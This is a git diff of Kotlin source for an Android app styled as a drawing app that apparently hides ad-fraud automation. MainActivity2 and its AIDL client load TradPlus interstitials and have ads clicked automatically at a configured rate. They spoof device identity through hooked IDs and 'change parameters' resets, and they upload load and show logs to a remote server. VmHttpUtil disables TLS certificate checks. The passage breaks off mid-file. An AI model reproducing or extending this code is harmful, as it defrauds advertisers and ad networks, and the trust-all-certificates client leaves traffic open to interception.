false)//washParam参数,点击包设置为false + //启动改参超时 + TimeoutManager.startTimeout(TimeoutTask.PARAM_CHANGE){ + myService?.resetApp(pkg) + } + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isChangeComplete = false + false + } + } else { + Log.d("ocean-brush", "拦截成功!修改参数静止重复指令") + false + } + } + + /** + * 传入广告点击show数据 + */ + fun sendAdsChange( + pkg: String, + adLoadedCount: Int? = null, + adShownCount: Int? = null, + adClickCount: Int? = null + ): Boolean { + return try { + //假设传入的int值为null,则默认为0 + myService?.adsChange(pkg, adLoadedCount ?: 0, adShownCount ?: 0, adClickCount ?: 0) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + fun sendReceiveResetOpenSuccessfully(): Boolean { + return try { + myService?.receiveResetOpenSuccessfully() + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + + /** + * AIDL 回调,回调数据同步到 LiveData + */ + private val callback = object : IMyAidlCallback.Stub() { + + override fun onClickComplete(b: Boolean) { + Log.d("ocean-brush", "callback 收到回调:点击广告指令执行完毕") + isClicking = false + Handler(Looper.getMainLooper()).post { + clickAdCompleteLiveData.value = b + } + } + + override fun onParametersComplete(b: Boolean) { + Log.d("ocean-brush", "callback 收到回调:参数操作完成") + isChangeComplete = false + Handler(Looper.getMainLooper()).post { + paramCompleteLiveData.value = b + } + } + + override fun onAdDisplayed() { + + } + + override fun onAdDisplayFailed() { + + } + } + +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/MainActivity2.kt b/app/src/main/java/com/cake/draw/painting/environment/MainActivity2.kt new file mode 100644 index 0000000..442c5e9 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/MainActivity2.kt @@ -0,0 +1,742 @@ +package com.cake.draw.painting.environment + +import android.annotation.SuppressLint +import android.app.Activity +import android.net.Uri +import android.os.Build +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.telephony.TelephonyManager +import android.util.Log +import androidx.appcompat.app.AppCompatActivity +import androidx.lifecycle.MutableLiveData +import androidx.lifecycle.Observer +import androidx.lifecycle.lifecycleScope +import com.applock.filemanager.magiclock.control.MagicLock +import com.cake.draw.painting.environment.AIDLClient +import com.google.android.gms.ads.identifier.AdvertisingIdClient +import com.google.gson.JsonObject +import com.cake.draw.painting.R +import com.cake.draw.painting.databinding.ActivityMain2Binding +import com.cake.draw.painting.environment.ad.AdShowFailed +import com.cake.draw.painting.environment.ad.AdsInsUtil +import com.cake.draw.painting.environment.ad.InstAdCacheManager +import com.cake.draw.painting.environment.ad.LoadListener +import com.cake.draw.painting.environment.ad.ShowListener +import com.cake.draw.painting.environment.hy.AppLifecycleTracker +import com.cake.draw.painting.environment.hy.ConfigCallback +import com.cake.draw.painting.environment.hy.IdProvider +import com.cake.draw.painting.environment.hy.MyConfigUtil +import com.cake.draw.painting.environment.hy.SimIdProvider +import com.cake.draw.painting.environment.hy.TimeoutManager +import com.cake.draw.painting.environment.hy.TimeoutTask +import com.cake.draw.painting.environment.hy.getLocalIpAddress +import com.tradplus.ads.base.bean.TPAdInfo +import com.tradplus.ads.open.TradPlusSdk +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.GlobalScope +import kotlinx.coroutines.launch +import kotlinx.coroutines.withContext +import okhttp3.Call +import okhttp3.Callback +import okhttp3.Response +import org.json.JSONObject +import java.io.IOException +import java.math.BigDecimal +import java.math.RoundingMode +import java.util.Locale +import java.util.Random +import java.util.Timer +import java.util.TimerTask +import java.util.UUID +import kotlin.coroutines.resume +import kotlin.coroutines.suspendCoroutine + + +@SuppressLint("WrongConstant") +class MainActivity2 : AppCompatActivity() { + private lateinit var binding: ActivityMain2Binding + private var loadAdNumber = 0//load广告计数 + private var timer: Timer? = null + private val adPlace: MutableList = ArrayList()//可以被show的广告集合 + private var loadAndShowAdNumber = 0//load后并且可以进行show的广告计数 + private val loadJson = JsonObject()//需要上传的load日志json + private val showJson = JsonObject()//需要上传的show日志json + private val viewJson = JsonObject()//展示在刷刷包上的json,选择了一些数据来展示。 + private var quantity = ""//可以被load的广告次数 + private var ecpmCool = ""//最高的ecpm配置 + private var ecpmLow = ""//最低的ecpm配置 + private var clickThroughRate = 80 + private val gaIdError = "00000000-0000-0000-0000-000000000000" + private val loadingAds: MutableSet = mutableSetOf()// 用来跟踪正在加载的广告 + private var startInit = false//是否已经到达初始化广告 + private var shelfNumber = "123" + private var devicesID = "" + private val appStartJson = JsonObject() + private var dataId = 0L + private var simId = 0L + private val aidlClient = AIDLClient.instance + private var isProcessComplete = true //流程是否完毕 + private var remoteIp = "0.0.0.0"//上传到服务的IP + + private val onAdShownLiveData = MutableLiveData() + private val onAdShowFailedLiveData = MutableLiveData() + private val onAdClosedLiveData = MutableLiveData() + + @SuppressLint("MissingInflatedId", "SetTextI18n") + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + binding = ActivityMain2Binding.inflate(layoutInflater) + setContentView(binding.root) + binding.title.text = "TradPlus(1月5日)-${getString(R.string.app_name)}" + // 异步获取 IP,不影响主流程 + lifecycleScope.launch { + remoteIp = getPublicIpAddress() + loadJson.addProperty("remoteIp", remoteIp)//远程IP + showJson.addProperty("remoteIp", remoteIp)//远程IP + } + TradPlusSdk.initSdk(this, "2F7E23998B25E09E546263F2CABDFF11") + TradPlusSdk.setTradPlusInitListener(object : TradPlusSdk.TradPlusInitListener { + override fun onInitSuccess() { + appendLoadingTxt("初始化成功") + lifecycle.addObserver(AppLifecycleTracker) + //初始化aidl连接 + aidlClient.initConnection() + //绑定AIDL服务 + aidlClient.connectService(this@MainActivity2) + aidlClient.connectCompleteLiveData.observeForever(connectCompleteObserver) + + aidlClient.paramCompleteLiveData.observeForever(paramCompleteObserver) + aidlClient.clickAdCompleteLiveData.observeForever(clickAdCompleteObserver) + + onAdShownLiveData.observeForever(onAdShownObserver) + onAdShowFailedLiveData.observeForever(onAdShowFailedObserver) + onAdClosedLiveData.observeForever(onAdCloseObserver) + } + }) + } + + private val connectCompleteObserver = Observer { + if (it) { + appendLoadingTxt("CP控制器连接成功,进行初始化配置") + aidlClient.sendBrushMiss() + //初始化配置 + initConfig() + //初始化屏幕点击范围 + magicLockInit() + } else { + appendLoadingTxt("CP控制器连接失败,检查是否安装了正确的软件") + } + } + + private val paramCompleteObserver = Observer { + TimeoutManager.cancelTimeout(TimeoutTask.PARAM_CHANGE) + appendLoadingTxt("参数修改完成") + Log.d("ocean-brush", "MainActivity 参数修改操作完成->$it") + if (it) { + aidlClient.sendResetApp(packageName) + } else { + appendLoadingTxt("参数修改失败,等待${paramTimeLeft}秒再次进行参数修改") + startParamCountdown() + } + } + + private val clickAdCompleteObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到点击广告指令完成") + if (it) { + if (AppLifecycleTracker.isMainActivityVisible) { + Log.d( + "ocean-brush", + "MainActivity 成功回到前台,取消点击超时任务,并置 isProcessComplete = true" + ) + TimeoutManager.cancelTimeout(TimeoutTask.CLICK_AD) + isProcessComplete = true + } else { + Log.d("ocean-brush", "MainActivity 但是没有回到前台,进行修改参数重置") + aidlClient.sendChangeParameters(packageName) + } + } else { + Log.d("ocean-brush", "MainActivity 但是intent=null,进行修改参数重置") + aidlClient.sendChangeParameters(packageName) + } + } + + private val onAdShownObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告展示成功") + TimeoutManager.cancelTimeout(TimeoutTask.SHOW_AD) + val isSendClick = aidlClient.sendClickAd(clickThroughRate, packageName) + if (isSendClick) {//指令发送成功 + //广告展示后,启动广告关闭超时任务 + TimeoutManager.startTimeout(TimeoutTask.CLOSE_AD) {//十秒 + Log.d("ocean-brush", "超时任务,广告关闭失败,直接进行改参重置") + aidlClient.sendChangeParameters(packageName) + } + //发送点击广告指令后,启动点击广告的超时任务 + TimeoutManager.startTimeout(TimeoutTask.CLICK_AD) { + Log.d("ocean-brush", "超时任务,广告点击流程没有回来,直接进行重置") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private val onAdShowFailedObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告展示失败,直接进行重置") + TimeoutManager.cancelTimeout(TimeoutTask.SHOW_AD) + aidlClient.sendChangeParameters(packageName) + } + + private val onAdCloseObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告被关闭") + TimeoutManager.cancelTimeout(TimeoutTask.CLOSE_AD) + +// val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager +// val runningTasks = activityManager.getRunningTasks(10) +// +// for (task in runningTasks) { +// if (task.topActivity?.className?.contains("com.vungle.ads.internal.ui.VungleActivity") == true) { +// Log.d("AD_KILLER", "发现 VungleActivity,尝试关闭") +// Runtime.getRuntime().exec("am force-stop com.vungle.ads") +// } +// } + } + + private fun initConfig() { + aidlClient.sendBrushMiss() + val fromCpGuise = intent?.getBooleanExtra("EXTRA_FROM_CP_GUISE_RESET", false) ?: false + if (fromCpGuise) { + Log.d("ocean-brush", "App2 是从 CP reset 启动的!通知cp知道") + aidlClient.sendReceiveResetOpenSuccessfully() + } + + binding.applicationId.text = packageName + getDeviceIdFromProvider { content, b -> + appendLoadingTxt("${b}设备ID:$content") + if (content != null) { + devicesID = content + } + } + dataId = IdProvider().getId() + simId = SimIdProvider().getSimId() + val hookInfo = + "dataId->$dataId," + "simId->$simId" + "制造商:${Build.MANUFACTURER}," + "型号:${Build.MODEL}," + "国家:${ + getSimCountryIso(this@MainActivity2) + }," + "MCC:${mcc()}," + "MNC:${mnc()}" + appendLoadingTxt(hookInfo) + if (dataId == 0L) { + appendLoadingTxt("dataId返回的默认值,hook没生效,修改参数重试") + startCountdown() + return + } + MyConfigUtil.getConfig(packageName, object : ConfigCallback { + override fun onResponse(result: String) { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "加载config配置成功") + Log.d("ocean", "result->${result}") + val json = JSONObject(result) + val dataJson = json.optJSONObject("data") + if (dataJson != null) { + quantity = dataJson.optString("quantity") + ecpmCool = dataJson.optString("ecpmCool") + ecpmLow = dataJson.optString("ecpmLow") + clickThroughRate = dataJson.optInt("clickThroughRate") + appendLoadingTxt("配置->quantity:${quantity},ecpmCool:${ecpmCool},ecpmLow:${ecpmLow},点击:${clickThroughRate}") + getBidJson() + } + } + + override fun onFailure(e: IOException) { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "加载config配置失败") + val message = "message=${e.message}" + appendLoadingTxt("$message \n Config获取失败,请检查是否在后台配置包名,${timeLeft}秒后将会重置") + runOnUiThread { + startCountdown() + } + } + }) + } + + private fun magicLockInit() { + aidlClient.sendBrushMiss() + MagicLock.getInstance(application) + .addMagicActionListener(object : MagicLock.MagicActionListener { + override fun insAreaClick() { + + } + + override fun rewardAreaClick() { + + } + }) + timer = Timer() + timer!!.schedule(object : TimerTask() { + override fun run() { + runOnUiThread { + if ((loadAndShowAdNumber <= 0 || adPlace.size <= 0)) { + /** + * 没有广告的情况 + * [startInit]广告已经进入过初始化 + * [isAnyAdLoading]没有广告在loading中 + * [isProcessComplete]每次流程是否执行完毕 + * [AppLifecycleTracker.isMainActivityVisible]应用已经恢复到前台展示 + * 满足条件则进行重置,发送修改参数指令 + */ + if (startInit && !isAnyAdLoading() && isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + //更新UI,显示为 true + MagicLock.getInstance(application) + .refreshStartResetView(this@MainActivity2, true) + //发送修改参数指令 + aidlClient.sendChangeParameters(packageName) + } + } else { + /** + * 有广告可以展示 + * [isProcessComplete]流程已经执行完毕 + * [AppLifecycleTracker.isMainActivityVisible]应用已经恢复到前台展示 + * 满足条件发送show指令 + */ + if (isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + //开始执行点击流程时,置为false + isProcessComplete = false + showInsAd() + //启动show超时检测,然后在show成功与show失败取消超时任务 + TimeoutManager.startTimeout(TimeoutTask.SHOW_AD) { + //超时都没有show出来则流程重置,让time下次判定可以去show广告 + isProcessComplete = true + } + // 开始流程后,启动是否有广告卡住流程的超时任务。100秒 + TimeoutManager.startTimeout(TimeoutTask.OVERALL_PROCESS) { + aidlClient.sendChangeParameters(packageName) + } + } + } + MagicLock.getInstance(application) + .refreshInsCountView(this@MainActivity2, adPlace.size) + //在TimerTask任务中判定流程已经完毕,并且是否回到了mainActivity,回来则取消超时 + //超过没有回来,则判定为卡住了。 + if (isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + TimeoutManager.cancelTimeout(TimeoutTask.OVERALL_PROCESS) + } + } + //发送广告数量 + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + + //通信cp,用于心跳检测 + aidlClient.sendHeartBeat(packageName) + } + }, 2000, 2000) + } + + // 检查是否有广告在加载中 + fun isAnyAdLoading(): Boolean { + return loadingAds.isNotEmpty() + } + + private fun initAd() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "开始加载三个广告") + startInit = true + appendLoadingTxt("开始加载三个广告") + loadAd(AdsInsUtil.Placement.TOP_ON_AD_ONE) + loadAd(AdsInsUtil.Placement.TOP_ON_AD_TOW) + loadAd(AdsInsUtil.Placement.TOP_ON_AD_THREE) + } + + private fun loadAd(placeId: String) { + val startLoadTime = System.currentTimeMillis() + loadingAds.add(placeId) + + loadAdNumber++//广告load计数(进入loadAd方法就进行计数) + + AdsInsUtil.loadAd(this, placeId, object : LoadListener { + @SuppressLint("DefaultLocale") + override fun loaded(ad: TPAdInfo) { + aidlClient.sendBrushMiss() + val loadedEndTime = System.currentTimeMillis() + appendLoadingTxt("${placeId}AD加载成功") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + // 将 ecpm 转换为 BigDecimal 类型,并进行除法运算 + val result = BigDecimal(ad.ecpm.toDouble()).divide( + BigDecimal(1000), + 20, + RoundingMode.HALF_UP + ) + // 将结果转换为字符串表示形式 + val formattedString: String = result.toPlainString() + Log.d("ocean", "scientificNotation->${formattedString}") + appendLoadingTxt("${ad.adNetworkId} ecpm->$formattedString") + Log.d("ocean", "平台->${ad.adNetworkId} ecpm->${formattedString}") + loadJson.addProperty("succeed", true)//广告加载是否成功 + loadJson.addProperty("loadTime", loadedEndTime - startLoadTime)//加载时间 + loadJson.addProperty("adPlatform", "TradPlus")//广告平台 + loadJson.addProperty("countryCode", ad.format)//国家代码 + loadJson.addProperty("adId", placeId)//广告Id + loadJson.addProperty("platformResponseTime", "")//平台广告响应时间 + loadJson.addProperty("ecpm", formattedString)//广告单价 + loadJson.addProperty("dsp", ad.adNetworkId) + loadJson.addProperty("network", ad.adNetworkId) + loadJson.addProperty("washParam", false) + + //load广告,只有价格大于等于配置的最低值则添加到可以show的广告集合中 + if (formattedString.toFloat() >= ecpmLow.toFloat()) { + Log.d("ocean", "onAdLoaded add ->${placeId}") + adPlace.add(placeId) + loadAndShowAdNumber++ + loadJson.addProperty("showStatus", "0") + } else { + loadJson.addProperty("showStatus", "-1") + } + + viewJson.addProperty("广告加载时间", loadedEndTime - startLoadTime) + viewJson.addProperty("ecpmLow", ecpmLow) + viewJson.addProperty("ecpm", formattedString) + viewJson.addProperty("是否满足show", formattedString.toFloat() >= ecpmLow.toFloat()) + appendInfoTxt(viewJson.toString()) + + MyConfigUtil.initPostLoadLog(loadJson) + + loadingAds.remove(placeId) + } + + override fun loadFailed(error: String) { + aidlClient.sendBrushMiss() + val loadedEndTime = System.currentTimeMillis() + loadJson.addProperty("succeed", false)//广告加载是否成功 + loadJson.addProperty("loadTime", loadedEndTime - startLoadTime)//加载时间 + loadJson.addProperty("adPlatform", "TradPlus")//广告平台 + loadJson.addProperty("adId", placeId)//广告Id + loadJson.addProperty("washParam", false) + loadJson.addProperty("errorData", error) + + MyConfigUtil.initPostLoadLog(loadJson) + + Log.d("ocean", "error->${error.toString()}") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + loadingAds.remove(placeId) + appendLoadingTxt("${placeId}AD加载失败-${error}") + } + }) + } + + private val msgSB = StringBuilder() + private fun appendInfoTxt(msg: String) { + runOnUiThread { + msgSB.appendLine(msg) + binding.infoTv.text = msgSB.toString() + } + } + + private val msgLoading = StringBuilder() + private fun appendLoadingTxt(msg: String) { + runOnUiThread { + msgLoading.appendLine(msg) + binding.loadingTv.text = msgLoading.toString() + } + } + + private fun getInsAdReturnCount(): Int { + return InstAdCacheManager.instance.getLoadedInstCount() + } + + fun showInsAd() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "满足条件,开始展示广告") + //随机 + Log.d("ocean", " show广告集合是否有值:${adPlace.size}") + if (adPlace.isNotEmpty()) { + val placeId = Random().nextInt(adPlace.size) + val place = adPlace[placeId] + adPlace.remove(place) + + AdsInsUtil.showAd(this, place, object : ShowListener { + @SuppressLint("DefaultLocale") + override fun onAdShown(ad: TPAdInfo?) { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdShownLiveData.value = true + } + // 将 ecpm 转换为 BigDecimal 类型,并进行除法运算 + val ecpm = ad?.ecpm?.toDouble() ?: 0.0 + val result = BigDecimal(ecpm).divide(BigDecimal(1000), 20, RoundingMode.HALF_UP) + // 将结果转换为字符串表示形式 + val formattedString: String = result.toPlainString() + showJson.addProperty("succeed", true)//广告加载是否成功 + showJson.addProperty("adPlatform", "Max")//广告平台 + showJson.addProperty("countryCode", ad?.format ?: "")//国家代码 + showJson.addProperty("adId", place)//广告Id + showJson.addProperty("platformResponseTime", "")//平台广告响应时间 + showJson.addProperty("ecpm", formattedString)//广告单价 + showJson.addProperty("dsp", ad?.adNetworkId ?: "") + showJson.addProperty("network", ad?.adNetworkId ?: "") + MyConfigUtil.initPostShowLog(showJson) + + Log.d("ocean", "onAdShown decimalNumber->$formattedString") + + Log.d("ocean", "onAdShown loadAdNumber->${loadAdNumber}") + Log.d("ocean", "onAdShown quantity.toInt()->${quantity.toInt()}") + if (loadAdNumber < quantity.toInt()) {//不能大于配置的数量 + if (ecpmCool.isNotEmpty()) { + //满足配置的最高的价格则重新load这个被消耗的 + Log.d("ocean", "onAdShown ecpmCool->${ecpmCool}") + Log.d("ocean", "onAdShown ecpmCool.toFloat()->${ecpmCool.toFloat()}") + if (formattedString.toFloat() >= ecpmCool.toFloat()) { + loadAd(place) + } + } + } + + println("scanner_ad onAdShown") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount(), 1, 0) + loadAndShowAdNumber-- + } + + override fun onAdClicked() { + aidlClient.sendBrushMiss() + Log.d("ocean", " 点击show广告") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount(), 0, 1) + } + + override fun onAdShowFailed(error: AdShowFailed?) { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdShowFailedLiveData.value = true + } + Log.d("ocean", " show广告失败") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + loadAndShowAdNumber-- + showJson.addProperty("succeed", false)//广告加载是否成功 + showJson.addProperty("adPlatform", "Max")//广告平台 + showJson.addProperty("adId", place)//广告Id + MyConfigUtil.initPostShowLog(showJson) + } + + override fun onAdClosed() { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdClosedLiveData.value = true + } + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + } + }) + } + } + + //路径 /storage/emulated/0/phone.xml + private fun getBidJson() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "组装load数据与show数据上传,并且获取gaid") + val linkId = UUID.randomUUID().toString().replace("-", "") + GlobalScope.launch { + withContext(Dispatchers.IO) { + val gaId = AdvertisingIdClient.getAdvertisingIdInfo(this@MainActivity2).id + Log.d("ocean", "getAdvertisingIdInfo gaId->${gaId}") + + viewJson.addProperty("设备ID", devicesID) + viewJson.addProperty("货架号", shelfNumber) +// viewJson.addProperty("IP获取时间", endIpTime - startIpTime) + + loadJson.addProperty("deviceId", devicesID) + loadJson.addProperty("shelfNumber", shelfNumber)//货架号 + loadJson.addProperty("localIp", getLocalIpAddress())//本地IP + loadJson.addProperty("linkId", linkId)//链路Id + loadJson.addProperty("packageName", packageName)//包名 + loadJson.addProperty("gaid", gaId) + loadJson.addProperty("dataId", dataId) + loadJson.addProperty("carrierId",simId) + loadJson.addProperty("getIpResponseTime", 0) + loadJson.addProperty("packageVersion", 1) + loadJson.addProperty("version", 3) + loadJson.addProperty("phoneVersion", Build.MODEL) + + showJson.addProperty("deviceId", devicesID) + showJson.addProperty("shelfNumber", shelfNumber) + showJson.addProperty("localIp", getLocalIpAddress())//本地IP + showJson.addProperty("linkId", linkId)//链路Id + showJson.addProperty("packageName", packageName)//包名 + showJson.addProperty("gaid", gaId) + showJson.addProperty("dataId", dataId) + showJson.addProperty("carrierId",simId) + showJson.addProperty("getIpResponseTime", 0) + showJson.addProperty("version", 3) + showJson.addProperty("phoneVersion", Build.MODEL) + + runOnUiThread { + binding.gaidTv.text = gaId + if (gaId != null) { + if (gaId == gaIdError) { + binding.gaidLayout.setBackgroundColor(getColor(R.color.red)) + //gaID没有确的值就发送重置广播 + appendLoadingTxt("没有获取到GAID,$timeLeft 秒后将会重置") + startCountdown() + } else { + binding.gaidLayout.setBackgroundColor(getColor(R.color.green)) + initAd() + } + } else { + appendLoadingTxt("没有获取到GAID,$timeLeft 秒后将会重置") + startCountdown() + } + } + } + } + } + + /** + * https://api.tikustok.com/app/common/getIPInfo + * https://openapi.lux-ad.com/app/common/getIPInfo + */ + private suspend fun getPublicIpAddress(): String = suspendCoroutine { continuation -> + var publicIp = "0.0.0.0" + try { + VmHttpUtil.mInstance.getIPInfo( + "https://openapi.lux-ad.com/app/common/getIPInfo", + object : Callback { + override fun onFailure(call: Call, e: IOException) { + runOnUiThread { + appendLoadingTxt("获取IP失败") + } + + continuation.resume(publicIp) + } + + override fun onResponse(call: Call, response: Response) { + Log.d("ocean", "getIPInfo response->${response}") + if (response.code == 200) { + val responseData = response.body?.string() + if (responseData != null) { + val jsonObject = JSONObject(responseData) + Log.d("ocean", "getIPInfo jsonObject->${jsonObject}") + val status = jsonObject.optString("status") + if (status == "Success") { + val data = jsonObject.getJSONObject("data") + appendLoadingTxt("获取IP成功->${data}") + Log.d("ocean", "getIPInfo data->${data}") + publicIp = data.optString("ip") + continuation.resume(publicIp) + } else { + continuation.resume(publicIp) + } + } else { + continuation.resume(publicIp) + } + } else { + runOnUiThread { + appendLoadingTxt("获取IP失败->${response}") + } + continuation.resume(publicIp) + } + } + }) + } catch (e: Exception) { + e.printStackTrace() + appendLoadingTxt("获取IP失败 catch->${e}") + continuation.resume(publicIp) + } + } + + override fun onDestroy() { + super.onDestroy() + aidlClient.connectCompleteLiveData.removeObserver(connectCompleteObserver) + aidlClient.paramCompleteLiveData.removeObserver(paramCompleteObserver) + aidlClient.clickAdCompleteLiveData.removeObserver(clickAdCompleteObserver) + onAdShownLiveData.removeObserver(onAdShownObserver) + onAdShowFailedLiveData.removeObserver(onAdShowFailedObserver) + onAdClosedLiveData.removeObserver(onAdCloseObserver) + aidlClient.disconnect(this) + stopCountdown() + stopParamCountdown() + } + + private fun getSimCountryIso(context: Activity): String { + val telephonyManager = context.getSystemService("phone") as TelephonyManager? + return telephonyManager?.simCountryIso?.uppercase(Locale.ENGLISH) ?: "" + } + + private fun mnc(): String { + val telephonyManager = getSystemService("phone") as TelephonyManager + return try { + val networkOperator = telephonyManager.networkOperator + networkOperator.substring(3.coerceAtMost(networkOperator.length)) + } catch (e: Exception) { + "" + } + } + + private fun mcc(): String { + val telephonyManager = getSystemService("phone") as TelephonyManager + return try { + val networkOperator = telephonyManager.networkOperator + networkOperator.substring(0, minOf(3, networkOperator.length)) + } catch (e: Exception) { + "" + } + } + + @SuppressLint("Range") + fun getDeviceIdFromProvider(callback: (String?, Boolean) -> Unit) { + val uri = Uri.parse("content://com.guise.deviceidprovider/device_id") + val cursor = contentResolver.query(uri, null, null, null, null) + + if (cursor != null && cursor.moveToFirst()) { + val deviceId = cursor.getString(cursor.getColumnIndex("device_id")) + cursor.close() // 关闭 Cursor + callback(deviceId, true) // 成功读取到 Device ID + } else { + callback(null, false) // 读取失败 + } + } + + /** + * 通用进行重置,五秒倒计时 + */ + private var timeLeft = 5 // 倒计时时间 + private val countdownHandler = Handler(Looper.getMainLooper()) + private val countdownRunnable = object : Runnable { + override fun run() { + if (timeLeft > 0) { + appendLoadingTxt("⏳ 剩余 $timeLeft 秒后执行 修改参数 指令") + timeLeft-- + countdownHandler.postDelayed(this, 1000) // 继续倒计时 + } else { + appendLoadingTxt("🚀 执行 修改参数 指令") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private fun startCountdown() { + timeLeft = 5 // 重新初始化时间 + countdownHandler.post(countdownRunnable) // 开始倒计时 + } + + private fun stopCountdown() { + countdownHandler.removeCallbacks(countdownRunnable) // 取消倒计时 + } + + /** + * 参数修改失败,重新修改倒计时 + */ + private var paramTimeLeft = 15 + private val countdownParamHandler = Handler(Looper.getMainLooper()) + private val countdownParamRunnable = object : Runnable { + override fun run() { + if (paramTimeLeft > 0) { + paramTimeLeft-- + countdownParamHandler.postDelayed(this, 1000) // 继续倒计时 + } else { + appendLoadingTxt("执行修改参数指令") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private fun startParamCountdown() { + paramTimeLeft = 15 // 重新初始化时间 + countdownParamHandler.post(countdownParamRunnable) // 开始倒计时 + } + + private fun stopParamCountdown() { + countdownParamHandler.removeCallbacks(countdownParamRunnable) // 取消倒计时 + } +} diff --git a/app/src/main/java/com/cake/draw/painting/environment/VmHttpUtil.kt b/app/src/main/java/com/cake/draw/painting/environment/VmHttpUtil.kt new file mode 100644 index 0000000..cdca262 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/VmHttpUtil.kt @@ -0,0 +1,82 @@ +package com.cake.draw.painting.environment + +import android.content.Context +import android.net.ConnectivityManager +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import java.io.IOException +import java.security.SecureRandom +import java.security.cert.X509Certificate +import java.util.concurrent.TimeUnit +import javax.net.ssl.SSLContext +import javax.net.ssl.TrustManager +import javax.net.ssl.X509TrustManager + +class VmHttpUtil { + + fun isNetworkAvailable(context: Context): Boolean { + val connectivityManager = + context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager + val activeNetworkInfo = connectivityManager?.activeNetworkInfo + return activeNetworkInfo != null && activeNetworkInfo.isConnected + } + + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: VmHttpUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + VmHttpUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + // ---- 不安全:信任所有证书(仅测试用) ---- + val trustAllCerts = arrayOf( + object : X509TrustManager { + override fun checkClientTrusted(chain: Array, authType: String) {} + override fun checkServerTrusted(chain: Array, authType: String) {} + override fun getAcceptedIssuers(): Array = arrayOf() + } + ) + + val sslContext = SSLContext.getInstance("TLS") + sslContext.init(null, trustAllCerts, SecureRandom()) + val sslSocketFactory = sslContext.socketFactory + + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + .sslSocketFactory(sslSocketFactory, trustAllCerts[0] as X509TrustManager) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + fun getIPInfo(url: String, callback: Callback) { + val request: Request = Request.Builder() + .url(url) + .get() + .build() + doAsync(request, callback) + } + + /** + * 异步请求 + */ + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + //创建请求会话 + val call = mOkHttpClient!!.newCall(request) + //同步执行会话请求 + call.enqueue(callback) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/cake/draw/painting/environment/ad/AdActivityManager.kt b/app/src/main/java/com/cake/draw/painting/environment/ad/AdActivityManager.kt new file mode 100644 index 0000000..2e30b28 --- /dev/null +++ b/app/src/main/java/com/cake/draw/painting/environment/ad/AdActivityManager.kt @@ -0,0 +1,177 @@ +package com.cake.draw.painting.environment.ad + +import android.annotation.SuppressLint +import android.app.Activity +import android.app.Application +import android.content.Context +import android.os.Bundle +import android.provider.Settings +import android.util.Log +import com.cake.draw.painting.environment.ad.async.Async +import com.unity3d.services.ads.adunit.AdUnitActivity +import com.vungle.ads.internal.ui.AdActivity +import com.vungle.ads.internal.ui.view.MRAIDAdWidget + +class AdActivityManager { + private var mCurrentShowAd: Activity? = null//记录当前正在展示的inst广告Activity + private var mApplicationContext: Context? = null + private var mAID: String? = null + private var mListener: InstAdLeaveAndReturnListener? = null + private var isAdClosed = false//当广告点击了close按钮的时候 设置成true + private var isAdClicked = false//标记inst是否已是已点击状态 + + companion object { + val instance: AdActivityManager by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + AdActivityManager() + } + + fun isAdActivity(activity: Activity): Boolean { + return ( + activity is com.tradplus.ads.mgr.interstitial.views.InterNativeActivity + || activity is com.vungle.ads.internal.ui.VungleActivity + || activity is com.vungle.ads.internal.ui.AdActivity + || activity is AdUnitActivity + ) + } + } + + fun getCurrentShowAd(): Activity? { + return mCurrentShowAd + } + + fun doDelayClose(delay: Long) { + Async.scheduleTaskOnUiThread(delay, Runnable { doClose() }) + } + + /** + *手动关闭当前显示的inst,具体支持哪些平台的inst,在 onActivityResumed 中添加 + */ + fun doClose() { + mCurrentShowAd?.let { adActivity -> + Log.d("ocean-brush", "自动关闭 $adActivity") + when 